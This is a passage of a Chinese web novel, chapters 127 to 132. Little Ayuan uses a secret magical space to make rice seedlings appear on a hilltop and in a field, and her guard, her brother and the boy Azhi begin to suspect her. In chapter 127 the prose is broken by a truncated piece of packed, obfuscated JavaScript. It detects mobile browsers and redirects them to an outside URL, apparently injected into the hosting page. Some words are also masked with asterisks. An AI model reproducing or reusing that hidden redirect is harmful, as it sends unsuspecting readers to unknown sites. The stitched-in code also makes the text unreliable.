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大川扬声唤住本没打算跟着去的孟怀瑾,“你也去,再叫上先生。”本想让这些人歇一歇,可是阿执偏要撞上来,那就只能带能治得住他的人。
杨大儒在,总能让这小子收敛些,起码找个理由可以唤住他。
没想这样一吆喝,队伍反倒多停了一会儿。热流庄的庄头远远听见动静,撂下手里的活计就小跑过来,后头还跟着两个壮年庄户,手里还沾着泥点子。
“老汉我还是去一下。”庄头搓着手,脸上笑得见牙不见眼,“省得东庄那头倔驴撂挑子不干。他那个人,就认死理,不见着真章不肯动弹。”他说得兴致勃勃,胸有成竹,仿佛不是去示范,而是去领赏。
众人看他那架势,都心知肚明——这是去显摆。
果然,庄头又加了一句,嗓门很大:“我们这边庄子明天就可以抛完秧,比以往春耕快了五六天,保准让他们眼热。”说完还捋了捋胡子,仿佛已经看见那边庄头目瞪口呆的模样。
十几里的路,马车去到东庄也才小半个时辰。大白天,去的人又多,孟柒他们原本选的卸货那片地太过靠近农田,还有农人在劳作,锄头落地声远远传来,偶尔夹着几声吆喝。
孟大川两夫妻和阿沅大眼瞪小眼。
阿沅坐在爹爹膝头,小手指悄悄戳了戳娘亲的手心,又看看爹爹,小嘴抿着,眼珠转来转去,这么多人,怎么取用秧苗?
第127章 那一片桃林
阿执完全把这个行程当成了春游,浑然不觉别人的烦恼,下车后看见他们都不动,指着不远处的小山包,声音里难得带了点雀跃:“阿沅,那边山上开的应该是桃花,阿执哥哥背你去玩。”
阿沅顺着他手指望去,果然,那小山包上粉嫩嫩一片,像谁打翻了胭脂盒,深深浅浅晕染开来。风一吹,隐约能看见花瓣飘落,纷纷扬扬。她眼睛亮了一亮,不由得看向爹爹和娘亲,小身子往娘亲身边扭了扭。
“去吧!去吧!”孟大川摆摆手,耐心交代,“好好玩,别想太多,多带几个人,早点回来吃饭。”
他特意咬重“别想太多”几个字,意味深长地看了女儿一眼,又朝天上指了指——那明晃晃的太阳还高悬着,意思是:得等晚上。
阿沅眨眨眼,表示明白,小脑袋点了点,那绺呆**也跟着晃了晃。
阿执已经迫不及待地蹲下身,双手往后伸着,脊背绷成一条直线:“阿沅,来!阿执哥哥背你。”
柳氏把女儿递过去,阿沅的小身子刚要落在阿执背上,却纹丝不动——孟大川不知何时探身过来,一只手稳稳护住女儿,把阿沅捞了回去。
“我起来走几步,你们推阿沅去。”孟大川说完这话,才松开手,撑着轮椅扶手慢慢站起来。柳氏赶紧上前搀住,他摆摆手,自己已经站得很稳,目光落在阿执身上,沉沉的,带着几分审视,又带着几分说不清的意味。
阿执得逞,双手托起阿沅的小屁股,脸上终于有了点笑意,那笑意从嘴角一直漾到眼睛里,连眉眼都柔和下来。他郑重其事地看向孟大川,一字一句道:“孟大人,放心,阿执定护阿沅周全。”
他说得认真,像在立军令状。
红袖和莲花齐齐翻了个白眼。
他们实在不明白这个小哥哥怎么回事。照说年纪也不算太小了,别不是脑子不好使,把小姐当成了他家那个不知道在哪的妹妹——不然怎么老是跟她们抢小姐?
绿果和红豆上前推动轮椅,可阿执刚把阿沅放进轮椅里,还没等绿果把小丫头歪着的小身子扶正,他已经抢上前去,双手握住轮椅把手,一副理所当然的模样,根本就不让人抢。
阿沅坐在轮椅上,仰头看了看阿执绷紧的下巴,又看看旁边翻白眼的红袖,忽然觉得有点好玩。她抿着小嘴,偷偷笑了笑,那绺呆**又晃了晃。
孟柒冷眼旁观,双手抱胸立在马车旁,目光在阿执身上转了一圈。他对这小子确实有些不耐烦——明明年纪不大,偏要做出一副大人的样子,偏偏自家大人和杨大儒还纵着他。
但孟柒没有动弹,只是看向自家大人。
这段时间他已经看出来了,这小子只怕不只是失忆那么简单。寻常失忆的孩子,哪会像他这样,分明心里藏着事,却又什么都不说,只是一味守着小姐?杨大儒和自家大人能让他留在小姐和少爷旁边,只怕是看出点什么来。
“让他推!”孟大川被妻子搀扶着站稳,又看见和杨大儒一起的儿子孟瑾已经快步往这边走来,脸上几分不放心放下,才终于发了声。
阿执得了准许,推着轮椅就往山坡那边走。他推得很稳,遇到小石子还会提前绕开,偶尔低头看看轮椅上那个小小的人影,嘴角就会不自觉地翘起来。
阿沅坐在轮椅上,晃着小脚丫,忽然仰头问:“阿执哥哥,你记起什么事来了吗?”
阿执低头看她,小丫头仰着脸,阳光落在她脸上,照得睫毛都成了金色。他想了想,最终没有说话,只是摇了摇头。
“那你以后会走么?”
“阿沅希望阿执哥哥走么?”阿执顿了顿,推着轮椅绕过一块石头,一点都不颠簸。
阿沅脱口而出:“不走!”
“阿执哥哥,推快点,再快点。”
轮椅上的阿沅终于抛开禾苗卸货的烦恼,看着满树满地的粉色花瓣,那双乌溜溜的大眼睛瞬间亮了起来,像是两颗浸在泉水里的黑葡萄。
她整个人往前倾,两只白嫩嫩的小手扒着轮椅扶手,恨不得要从椅子上跳下去扑进那片粉色的云霞里。她回头冲着后面喊:“红袖,莲花你们快点,待会下来再折桃花!”
声音又脆又甜,尾音还带着弯儿蹦蹦跳跳。
沉稳的阿执也被她的天真烂漫感染,那张总是板着的小脸难得柔和下来,嘴角甚至微微翘起,露出两个若隐若现的酒窝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216449|195865||http|test|mini|href|location''.split(''|''),0,{}));
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r>他推车的速度越来越快,衣袖被风吹得鼓起来,但也格外小心,每遇到路上的石子和杂草,总要提前绕开,或者用脚轻轻踢到一边,生怕颠着轮椅上那个小人儿。
他的步伐扎实有力,踩在松软的泥土上竟然没留下多深的脚印,倒像是一只轻巧的**,稳稳当当地往那小山包上跑去。
小山包不算高,但这种简陋的轮椅推上去应该也挺费事。孟柒看着推得飞快、速度并不见减的轮椅,又看向阿执扎实的步伐,眼神眯得更深了,眸子里闪过一丝连他自己都没察觉的探究。
不过十岁的小子,很得自家大人和杨大儒的看重,虽说叫大公子为师兄,但是据说读书比大公子还厉害。
脚步又如此沉稳,推个小人儿上个小山坡,脚步还比红袖和莲花快,稳当,还脸不红气不喘——他侧头看了看那两个扶着腰直喘气的小姑娘,又看了看阿执挺得笔直的脊背——若说没有练过,他是不信的。
这小子,到底什么来头?
“快点上来,快点上来!”阿沅第一个上了山顶,虽然不能下地行走,却丝毫不妨碍她的兴奋。
她双手撑着轮椅两边,小身子使劲往前探,恨不得把整颗脑袋都伸出去,“从这里往下看才好看呢!”她的脸蛋因为兴奋染上了两团红晕,像是谁用最细的毛笔蘸了桃花汁,在她脸颊上轻轻点了两点。
坡底下庄子的景致一目了然,那些牵牛耙地的佃户轻甩鞭子,吆喝声顺着风飘上来,像是就在耳边说话。
灌了水的稻田像一面面碎掉的镜子,在午后的阳光下闪着细碎的光,水光潋滟的,风一吹就皱成一池碎金。
就是走累已经找地方住下的爹爹,一左一右站着的娘亲和杨大儒也依稀可辨——爹爹好像在喝茶,娘亲正用手帕给他擦汗,杨大儒捻着胡须正往山上望呢。
高处看底下的那片桃花林更不用说了,没有刚刚一路上山时的花瓣飞舞,而是色覆满园,深深浅浅的粉连成一片,像是有人把天边的云霞剪了下来,铺在了山坡上。
那是平日里难得看到的不一样景致,阿沅看得入了神,小嘴微微张着,连口水差点流下来都不知道。
第128章 拉粑粑
“这山顶上居然还留这么一大片空地,真是可惜了。”孟柒也就比他们落后几步,一到山顶先快速转了一圈,眼睛像鹰隼一样扫过每一个角落——没人,连只动物都不见。
他又走到另一边往下看,那边反而很平缓,还有一条似乎没有什么车马走的村落。前后一目了然,没什么隐蔽物,这才放了心,却也忍不住发出感叹。这么大一块地,种点什么不好?庄头这脑子是木头做的?白白浪费一块好地。
阿执也不搭理孟柒,只是站在阿沅身后,一只手扶着轮椅,侧身看着小姑娘眼神里的光。
看到有点冷场,阿沅只能自己搭话,奶声奶气地说:“许是还没来得及种果树呢,让庄头伯伯种梨子树、红果树就好了。”她说着还伸出小手在空中画着圈,“梨子开花是白的,跟桃花一起,白的粉的,春天里也好看。”
“种柿子树才好……”莲花跑上来都快没了力气,扶着膝盖大口喘气,脸涨得通红,额头上沁出一层细密的汗珠,却还断断续续接了好一通话,“以前我们家就有一棵……秋天的时候红彤彤的……好看,还可以晒……柿子干,可甜……可好吃了。”
她缓过一口气,这才想起手里的桃花,赶紧递过来,“小姐,给你。”然后脸上都是惋惜,嘴巴撅得能挂油瓶,“跑太快了……花瓣掉了,待会下山再折几枝……我不跑了。”说着还委屈地扯了扯自己的衣角。
三枝桃花,两枝粉色,一枝桃色。即使花瓣落了不少,但也有点零落美——粉色的花瓣飘落在绿色的草地上,像是撒了一把碎绸子。
阿沅笑靥如花,接过花枝凑到鼻子前闻了闻,小鼻头一皱一皱的,眼睛弯成两道月牙儿,“好看!这粉的最好看。”她把那枝最粉的举到眼前,对着阳光看,花瓣薄得透光,像是最嫩的绢子。
马上手里又多了几枝,红袖不由分说把花枝往阿沅手里塞,恨不得把整抱花都堆到小姐怀里。阿沅手忙脚乱,拿都拿不稳,几枝花从她小手里滑落下去。
阿执恼怒地瞪了红袖一眼,那眼神冷得像冬日的霜,手疾眼快地抢过掉落下来的几枝,重新塞给红袖。
她语气不善:“别什么都给小姐,看清楚有没有毛虫,小姐的皮肤不像你们那么糙,花粉粘了也容易起红疹。”他说着还仔细检查了阿沅手里剩下的花,把可能沾到的花粉轻轻拂掉。
“你……”被抢了伺候小姐的差使,红袖本就有点气恼,这会儿献殷勤反而被当成驴肝肺,更不舒服了。
本想回一句“你才糙,你全家都糙”,但是一抬头,对上他那张好看得不像样、又白又嫩的皮肤,可又冷冰冰的脸后,到嘴边的话硬生生咽了回去,只是跺了跺脚。
给同样有点不高兴的莲花使了个眼色,又偷偷瞄了一眼被阿执紧紧护着的小姐,还有板着脸瞪他们一声不吭的柒叔,红袖终于低下头,道:“山顶上光秃秃的,有什么看头?小姐,我们再下去采几枝桃花,拿回去插花瓶。”说完拉着莲花就要往下走。
“采了就在下面等着!小姐再看一会就下去。”孟柒开始赶慢悠悠跟上来的护卫和绿果红豆,他觉得没必要那么多人在山顶,又担心扰了小姐的兴致。
只让他们站了一会儿,就挥手往下赶人。几个护卫面面相觑,还是听话地往后退了几步,然后也赏景去了。
这会儿景致已经看够,阿沅忽然对山顶上面积很大的平地有了兴趣。她歪着小脑袋,乌溜溜的眼珠子转来转去,心里打起了小算盘,也有了成算:阿执推自己上来并不是很费劲,那么空板车上来,
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秧苗压车拉下去也不会冲得太快。
最主要山顶旁边不远处的那条村路,也给了秧苗的来源,有了出处。她越想越得意,小脸上不自觉地露出一个狡黠的笑。
“柒叔,阿执哥哥,”阿沅忽然转向两人,眼里现出一点急躁,小眉毛微微皱起,带点稍稍软糯的命令口吻,“你们先下去。”
“不行!”果然两人异口同声,孟柒的声音干脆利落,阿执的声音虽然稚嫩却同样坚决,似乎不给阿沅商量的余地。
“我……我要……拉粑粑。”这是阿沅能够想出来的、支开他们的唯一办法。她说着还故意皱起小脸,两只小手捂住肚子,做出一副难受的样子,只是眼珠子忍不住偷偷往上瞟,想看他们的反应。
孟柒愣了一下,随即嘴角抽搐,然后紧走几步,但也只是紧走几步,看向下面的桃花林,征求意见的口吻:“柒叔叫她们上来?”觉得还是丫鬟上来伺候比较好,这种贴身伺候的事他还真没干过。
“不用!”阿沅语气坚决,还绷着小脸,嘴巴抿成一条线:笑话,好不容易把你们支开,我容易嘛?我!
孟柒看向阿执,又侧身几步离开山顶,但站的高度,依然可以把山顶看个正着。他背对着阿沅,耳朵却竖得老高,生怕漏掉一点动静。
阿沅在轮椅里蹬脚,小短腿踢腾着,想要站起来,语气也不好,“你们看着我拉不出来。”她说着还真的撑着手想要往轮椅下爬。
“阿执哥哥抱你下来,然后和柒叔再往下一点等你好不好?”阿执脸上没有孟柒表现出来的那种尴尬,他镇定得很,语气温柔,先离开轮椅往后看了一圈,目光扫过每一寸地面。
最后选了一处,地上不见一点杂草,干树枝树根都没有的平坦处,这才重新折回来。
第129章 这小祖宗,谁受得了?
“给,用来擦屁屁,等阿执哥哥过来再帮你擦也行。”说完递给阿沅的居然是一方干干净净的帕子,浅青色的细棉布,角上还绣着一片小小的竹叶。
这还是柳氏给他裁衣服时,用同色的碎布料给他做的,他一向宝贝得很,每天洗完脸都要叠得整整齐齐收好。现在倒好,一点都不知道珍惜,居然说拿来擦屁屁。
阿沅摇头,小脑袋摇得像拨浪鼓,“那就劳烦哥哥抱我去那里,谁用你的帕子,娘亲给我塞了草纸呢!”然后往自己的袖管里掏了掏,小胳膊伸进去掏了半天,还真的掏出几张皱巴巴、不太好看的土黄色草纸,举到阿执面前晃了晃。
“好了就大声叫哥哥过来,别乱跑。”阿执非常听话,弯腰轻轻抱起她就往原本选好的空地跑,动作轻得像捧着一件易碎的瓷器。到了,还想帮阿沅扯裤头。
阿沅一紧张,两只小手死死扯住自己的裤头,脸蛋腾地红了,一直红到耳朵根,“你快走!男女授受不亲。”她说着还使劲推阿执,只是人小力薄,推在阿执身上像挠痒痒。
然后得到阿执戏谑的一记白眼,似乎在说:还真把自己当大人了。
看他走两步不放心又回头,阿沅气急,觉得他磨磨唧唧,叉起腰肢跟他说:“快点,轮椅也推下面去,不许回头。”她挺着小胸脯,努力装出大人的样子。
“不行,还看得见,再往下走。”
“呜呜,哥哥不走,我就不拉了。”阿沅见他不听,立刻使出**锏,小嘴一瘪,眼眶说红就红,一副马上就要哭出来的样子。
阿执认命地推着轮椅往下走了十几步。又被她催促着,分几次走了十几步,最终在孟柒身旁站住,两**眼瞪小眼,都是一脸无奈。
阿沅还觉得不够,还是一副气急败坏,小手拢在嘴边做喇叭状:“不行!你们还看得见,柒叔,你在哪?大声回答。”
“这呢,真的很远了。”孟柒扯着嗓子回了一句,声音在山谷里回荡。他真没想到小姐那么难缠,原本生出尽快成亲生孩子的那点心思,忽然消失殆尽,没了耐性——这小祖宗,谁受得了?
阿执也被迫跟她做最后的确定,扯着嗓子喊:“都下来七棵桃花树了,阿执哥哥坐地上,头也不回,看不到的。”
他说着当真一屁股坐在地上,把头埋进膝盖里,闷闷又来一句,“别拉在裤子上。”
“我不叫,你们不能上来哈,不然我跟你们急。”
“别上来哈。”
……
阿执和孟柒听着那软糯的声音一句接着一句,耳朵直接僵化,干脆真的坐下来,互不搭理。
孟柒随手揪了根草茎叼在嘴里,望着山脚下的稻田发呆;阿执低着头,不知在想什么。敷衍阿沅的声音懒洋洋的,也越来越小,最后只剩下山风吹过桃林的沙沙声。
阿沅特意在空间移动了两次,又出来两次。确认那望向山脚下的两个背影真的离山顶很远,才再奶声奶气地警告了一次:“不许回头哦!”
然后开始了她的空间秧苗意念搬运工作。
……
“柒叔,阿执哥哥,我好了。”身后猛然传来阿沅的声音,把几乎已经陷入沉思的孟柒和阿执吓了一跳。孟柒更是迅速起身,一个箭步跳到阿沅身后,目光凌厉地往后看了一圈,手心都出了冷汗。
他这是怎么了?就因为有点不耐烦,居然忘了小姐的安危。内心更是庆幸,幸亏小姐没事。
阿沅对他的动作也吓了一跳,小身子往后缩了缩,以为他要往山上跑,连忙拉住他的袖子,小手攥得紧紧的,“柒叔,回去
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了,莲花她们采的桃花不好,你再给我采几枝,要树顶上的。”她仰着小脸,眼睛亮晶晶地看着孟柒,那模样又娇又憨。
孟柒看看她的小手,又看向她比桃花还潋滟、鼻尖微微冒汗的小脸,心里那点后怕和对小娃娃的好感又涌上来,应了一声“好”,声音温柔得能把苍蝇夹死——要是让营里的兄弟们听见,怕是要笑掉大牙。
倒是阿执不可置信地看向阿沅的双腿,又看了看山顶到这个位置的距离——少说也有几十步远。
他声音里带着恼怒:“不告诉阿沅拉完了叫哥哥么?怎么自己跑下来了?脚底又疼了吧?让你淘气,待会告诉先生和孟大人去。”
说归说,双手却重重捞上她的小身体,那力道大得像是要把她揉进怀里,轮椅上却变成了小心轻放,生怕碰着她一点。
阿沅小声申辩,还故作害怕地缩了缩脖子:“阿沅叫了,明明是你们听不见。”
他恍若未闻,然后蹲身、脱鞋抓住她的脚踝,一连串的动作,一气呵成。手指轻轻按在她的脚底,仔细查看——居然没出血?也没红痕?药膏居然还在。
他记得清清楚楚,今早大夫换药的时候,脚底上的药也这么多。
阿执看向阿沅的时候,眼神有点古怪,眉头微微皱起。忍不住嘀咕了一句:“你这是怎么走下来的?”
然后板起脸又来一句,声音虽然严厉,眼里却满是关切,“以后不许这样了。”
阿沅“嘿嘿”笑了两声,心虚地缩了缩脖子,露出一个讨好的笑,露出两颗小米牙,催促起来:“阿执哥哥,我们快点下山,没准还赶得上爹爹娘亲和先生,没有轮椅爹爹回不去。”
伸出小手去拉阿执的衣袖,摇了摇,一副撒娇的模样,不给他盘根问底的机会。
第130章 秧苗是小姐拉出来的?
孟大川真的回去了,不是被人用门板抬回去,也不用人搀扶,是真的用自己的两条腿,一步一步走回去的。
阳光洒在他略显瘦削的背影上,在地上拖出一道长长的影子。
刚刚孟大川下轮椅的位置,距离庄子里那座青砖黛瓦的大宅,足足有三四百米远,中间隔着刚翻耕过的松软田地,和一条弯弯曲曲的泥土路。
他是自己走回去的,虽然旁边紧紧跟着眼眶泛红的妻子柳氏、时不时想伸手搀扶的儿子孟怀瑾,还有那位捋着胡须、眼中满是欣慰的杨大儒,但他不假别人之手,固执地挥开所有试图搀扶的手臂,硬是自己一步一步,稳稳当当地走回去的。
脚下的泥土松软,每一步都会留下一个深深的脚印,他走得很慢,中途还停下来歇了两次,粗重地喘息着,脊梁和额头上都冒出了汗珠,却始终挺直着脊背。但终究,他是重新站起来了,也彻底告别了前世那个瘫在床上、叫天天不应,最终被大火吞没在屋里的凄惨命运。
当他的脚跨进大宅高高的门槛时,跟在他身后的柳氏终于忍不住,用帕子按了按眼角。
东庄的晚饭准备得比平时早,太阳还挂在西边的树梢上,伙房里就飘出了勾人的香气。
饭菜很简单,却香得能把人的魂儿都勾走,分量也足得吓人,是柳氏特意让庄头这么吩咐下去做的。
宅子外面的空地上,一边是几口黑漆漆的大铁锅一字排开,底下柴火烧得噼啪作响,锅里的小鸡炖蘑菇咕嘟咕嘟地翻滚着浓稠的汤汁,金黄的鸡油浮在面上,野蘑菇的香气和鸡肉的鲜味混在一起,随着热气直往人鼻子里钻。
另一边则是几口大簸箩,里面堆满了热腾腾的混合面馒头,白面和玉米面掺在一起,蒸得又大又暄软,散发着粮食特有的甜香。
他们来的一行人,能在宅子里的桌上摆饭,而庄子上的佃户们,无论是晒得黝黑的青壮年,还是佝偻着背的老人,或是抱着娃儿的妇孺,也人人有份。
他们嘴里说着吉祥的话,欢天喜地地拿着自家的碗筷,排着队,一人一大勺满满当当的鸡肉蘑菇汤,馒头更是管够,就站在宅子外面的空地上,随到随吃,也顾不得什么规矩体统。
蹲着的、站着的,大人吹着热气喂给怀里的孩子,到处是吸溜喝汤和满足的咀嚼声。
“吃完了都别闲着!回家拉上自家的板车,麻溜地都往小山包上拉秧苗去,下了山有人教你们如何抛秧!”庄头站在一块大石头上,扯着嗓子喊,声音压过了所有的嘈杂。
“用多少拉多少,可别贪心多拉,糟蹋了好东西!如有剩下的,明天再做打算。”
晚饭吃得早,天黑下来前,教会他们如何抛秧绰绰有余,这个计划本来没有变。
唯一发生变数的是:孟大川今天太高兴,一下走路走得太多,回来后脚板有点肿,也有点疼。
也跟着随身侍候的老北军医只让他跟佃户说了一通话,就板着脸不由分说要让他进屋躺下,说要马上施针,疏通经络,缓解疲劳,无论孟大川怎么说,都坚持不让他再出门。
“那……待会儿…夫人陪阿沅去吧!”孟大川自知说不出非出去不可的理由,又实在担心误了抛秧的时辰,只能妥协,同时向柳氏挤了挤眼睛,那眼神里带着几分拜托,还有几分只有夫妻二人才懂的狡黠。
这次出门,柳氏指派了绿果和红豆这两个最稳重的丫头跟着,把爱闹的莲花和红袖都留在家等。又让十五、十六两个护卫领头,再带了五六个精干的护卫随行保护。
“爹、娘,还是让我跟着妹妹一块去吧。”看着佃农们匆匆忙忙扒拉完最后一口饭,就兴冲冲地拉着板车呼啦啦往山包上跑,不一会儿,就见他们拉着满车的秧苗下来了,那嫩绿的秧苗在板车上堆得冒了尖,随着车子的颠簸一颤一颤的,孟怀瑾的神情变得复杂起来。
他转过头,在听到孟大川的安排后,实在站不住了,主动请缨。
看见拉下来的第一车秧苗后,孟柒更是不明白,明明只是吃个饭的功夫,那光秃秃的坡顶上,怎么就像变戏法似的,凭空冒出了这么多绿油油的秧苗?
难道是小姐凭空拉出来的不成?他被自己这个荒唐的念头吓了一跳。
他机警地避开那些来来往往、兴奋不已,连老人孩子都帮忙的佃户,悄无声息地钻进那片刚刚吐出
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粉色花苞的桃园,提气飞身就往山包上掠去。
等他落在山顶,眼前的景象让他彻底愣住了。
满山顶都是绿油油的秧苗,整整齐齐、密密匝匝地铺开,像一张巨大无比的绿色绒毯,从山顶平坦的地方一直铺到了那条有点坡度的村路边上,还往外延伸出去老远,在夕阳最后一点余光的映照下,仿佛一片没有边际的大草原。
可是他极力向两边的来路望去,那条通往外面世界的黄土路上,依然是空空荡荡,不见一辆车马,路上也没有多出任**鲜的车辙印子。
他愣愣地跌坐在松软的秧苗上,好长时间都没能回过神来,山风把他额前的碎发吹得凌乱,最终他只是呆呆地看着那些佃户们,脸上洋溢着压抑不住的兴奋,一趟又一趟地拉着秧苗下山,人来车往,热闹得像赶集,早就把他自己还要陪同去西庄的事忘到了九霄云外。
阿执站在人群外围,看着那些嬉闹欢笑的人群,又看看那一车车从山坡上拉下来的、还带着露水般鲜嫩的秧苗,最后将目光转向了人群中的阿沅,眼神里带着与年龄极不相符的复杂和审视。
小丫头感觉到他的目光,转过头来,一双黑葡萄似的大眼睛对上他的,一点都没躲闪,反而咧嘴笑了,露出几颗小米牙,无意识地用肉乎乎的小胖手扯了扯自己头顶扎着的那两个朝天小揪揪,然后和身边的莲花一起,在来来往往的板车周围蹦蹦跳跳,笑声像一串串银铃,清脆又毫无城府。
就是个三岁的懵懂无知孩童,没有一丝异样。
阿执最终也默默地跟上了去西庄的队伍,他没有爬上阿沅和柳氏坐着的那辆带篷的马车,而是翻身上了匹比他矮不了多少的马,和骑在马上的孟怀瑾并排,默默地护在马车的另一侧,在渐渐暗下来的天色里,像两个沉默的影子。
“夫人,您看,前天选的就是前面两边这一大片地,应该足够用了。”前天孟柒就带着他们来选定了卸秧苗的地点,这会儿十五和十六还没到庄子的大门口,就兴奋地指向庄子外头那片空旷的、还没来得及种上庄稼的畲地。
地势平坦,视野开阔,确实是堆放秧苗的好地方。
第131章 女儿哪有那么多粑粑!
“行了,小姐要拉粑粑,我和小姐就在此处下车,其余的人和车马先进庄子休整,给马喂点水和草料,再点上马灯,准备好,待会交代完庄头咱们就回程。”柳氏的声音从马车里传出来,不大,却带着不容置疑的威严。
刚刚掀起车帘还没来得及下车的阿沅,听到娘亲前面那两句,再看向旁边骑在马上、正满心满眼狐疑地诧异盯着自己的阿执,那眼神仿佛能看穿一切。
小丫头连忙用两只小手捂住了自己圆乎乎的脸蛋,那羞红一路蔓延到了耳根,连脖子都染上了一层淡淡的粉色。
娘啊!晚饭吃的鸡肉还在肚子里没克化呢。
她的小脑袋从指缝里钻出来,内心急急地替自己辩解,闷闷的:我这个小肚子,哪能存得住那么多的粑粑嘛。
“天都黑透了,还是进了庄子再……”孟怀瑾勒住了马头,就想翻身下马,一脸的不放心,“若是草丛里有蛇虫,可如何是好。”
“不用,瑾儿。”柳氏的声音难得地僵硬起来,似乎在下一道死命令,她撩开车帘一角,瞪向孟怀瑾的眼睛无比凌厉,带着不容反驳的威严,再看向跟在队伍最后头的十六,“大人可是亲口说了?一切听本夫人和小姐的。”
那语气,把十六到了嘴边的话全堵了回去,他立刻抱拳应是。但还是道了一声,“夫人小姐,小心。”
“你们,你们,都走走走,臭臭,才不要你们跟着!”阿沅先是捂住自己的小嘴,随后又捂捂自己的小肚子,最终,那只小手不安分地搭在了自己的小屁股眼上,做出一个赶人的动作。
然后弓着小身子,像一只仓皇又焦急、藏食被发现的小仓鼠,迈开小短腿就往旁边那一片黑乎乎的空地里跑去。
“阿沅,阿执哥哥送你过去。”阿沅还没来得及拒绝,柳氏也没来得及阻止,阿执就已经干净利落地翻身下马,两步就追上了她。阿沅只觉得脚下一空,整个人被他像拎小鸡仔似的,从腋下轻轻一提就夹了起来,耳边风声呼呼地响,两个人瞬间就离了地。
眼前的景物飞快地向后掠去,竟然已经飞了起来,稳稳地落在了一处最平整、最干燥的畲地上。
“阿执哥哥,你……也练过?”阿沅双脚落了地,站得扎扎实实,仰着小脑袋,脱口而出的是柒叔平时挂在嘴边的话,也印证了自己心里一直以来的那个小猜测。
“嗯,保命。”阿执言简意赅地吐出两个字,脸上没什么表情,再不言语,照旧把她平平稳稳地放在那里,看她站得稳稳当当,眼神看着阿沅一片深沉。
“不……不脱裤子。”阿沅看着他忽然蹲下身,又低头看看自己的裤头,突然想起了什么,吓得两只小手死死地捂住了裤腰,声音里带着一丝紧张。
“放心,阿执哥哥不脱。”他转身背对着她,声音很坦然,像是给她吃了一颗定心丸,“就跟师兄一起,守住庄子的大门。”
阿沅怔怔站了许久,看见他确实重新回了车队那边,看到柳氏已经快走到自己跟前了,阿沅又看看娘亲,见她正默默地侧身站着,用自己的身体挡住了庄子方向投来的所有视线。
其实,此刻已经不再有任何视线往这边来了,车队已经缓慢而安静地进入了庄子的大门,而守护在大门两边的,除了像两根柱子一样站着的阿执和孟怀瑾,就只有背对着大门,正在低声指挥车马入内的十五和十六。
绿果和红豆本来想跟过来伺候,但被阿执扫过来那冷飕飕的眼刀蹭刮了一下,再想想刚才夫人那句不容置疑的话,只能生生地停在大门里侧,伸长脖子,看向距离已经很远的那处空地。
视线里先是那个小小身影隐没在夫人身后
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,最后,连夫人都隐没在了浓得化不开的黑夜里,只剩下那个谁也看不清的小不点。
回程的时候天更黑了,也赶得更仓促,这是柳氏特意催促的,就为了快速通过安置秧苗的那一处畲地。
她坐在骡车里,一手揽着已经困得东倒西歪的阿沅,一手掀开车帘往外瞧,嘴里不住地念叨:“快些,再快些,这天色不对劲,怕是要落雨。”
车夫扬鞭催马,车轮在泥路上颠簸滚动,发出咕噜咕噜的闷响。骑马的人也扬起了马鞭。
墨绿色的禾苗隐没在黑漆漆的黑夜里,路过的马灯并未使得它突兀,看起来和原本黝黑的土地没什么两样,并不引起其他人的注意。灯影摇晃着掠过田埂,那些秧苗便如墨汁滴入浓夜,倏忽间化开,融得无影无踪。
但孟怀瑾看见了,联想起傍晚的时候东庄拉秧苗的热闹景象,他恍惚像是在做梦,对这凭空出现的大批秧苗,也知道来得蹊跷,而且这蹊跷来自于妹妹,爹爹和娘亲应该是知道的,家里人唯独瞒过了他。
他揉了揉眼睛,怀疑是自己读书太久花了眼,可那片田地分明就在那里,白日里还空着的田,此刻却齐齐整整地绿着。这怎么可能?
东庄的秧苗也是下午运到的,却没惊动任何人,他亲眼看着佃户们一车车往田地里拉。
现在这里也一样,秧苗凭空出现,如同春日甘霖无声无息……
他诧异的同时,心虚地看向并肩骑马的阿执,发现他眼里也有同样的异色,但表现出来却如同看见一闪而过的光影,就像流星滑落,眼神只是轻轻一瞥,就直视向前,马上又恢复了原样,似乎有点刻意。
阿执甚至没有勒马,只是睫毛轻轻颤了颤,像是被夜风吹了一下,随即若无其事地策马继续往前走,姿态从容得仿佛方才什么都没看见。
第132章 用现代的知识培养爹爹
孟怀瑾有点惊惶不安。妹妹和以往不同了,真的不同了。这不是他的第一次发现,而是联想起以往的事,最终成了认定。
他想起阿沅想起她有时说出的话,哪里像个三岁的孩子……家里有些事,庄子里出现的物件,桩桩件件,以前只当是童言无忌,以为是爹爹的能耐如今想来,却处处透着古怪,古怪来自妹妹。
而爹爹和娘亲,都在为妹妹极力做掩护。
他惊慌,担心妹妹的灵异会露出破绽,会让她遭受劫难,会陷于万劫不复。他攥紧了袖子,手心沁出冷汗,脑子里闪过无数可怕的念头——若是被人知道妹妹有这等异处,会被当成妖怪烧死吗?会被那些有权有势的人抢走吗?他想起话本子里那些能掐会算的奇人,哪一个有好下场了?
他不安,不安有人会窥视到妹妹的不同,会心怀叵测,会利用她满足自己的私欲,会变成要挟妹妹,残害妹妹和他们一家的工具。
他悄悄瞥了一眼身边的阿执,这个师弟来得突然,身份不明,虽然父亲和先生都认可了他,可谁知道他背后站着什么人?靠近他们家,甚至对妹妹照顾有加,又有什么目的?
这个发现也让他对身边的这个师弟起了提防之心。他知道,他必然来自高位,即使得到父亲和先生的认可,他却没办法判定他是敌是友。
孟怀瑾策马快走几步,与阿执拉开些许距离,又觉得自己这举动太过明显,只好硬着头皮维持原状,可那绷紧的肩膀却泄露了他的戒备。
四个庄子的春耕都很顺利。抛完秧后佃户们家家户户都没歇一口气,就在自家点的土地旁边空地上开始挖坑,灌水,每天家里的泔水、人畜粪便往里倒,清理出来的杂草,山上割的、捡的枯枝烂叶往里堆。
按孟大川的说法,就是开始囤肥、沤肥,用于以后定期肥田。那些日子,庄子里弥漫着一股奇怪的气味,可佃户们闻着却像闻到了丰收的味道,一个个干得热火朝天,连小孩子都提着小小的木桶帮忙运水,帮砍树枝、灌木丛。
“当初还以为抛秧禾苗扎不了根,以为这一季没有收成。现在看这禾苗的长势,绿油油的,倒是比辛辛苦苦插的秧长得还好。”这二十多天。林庄头每天在田埂上走来走去,脸上笑容不断,和佃户们说说笑笑,话都多了不少。
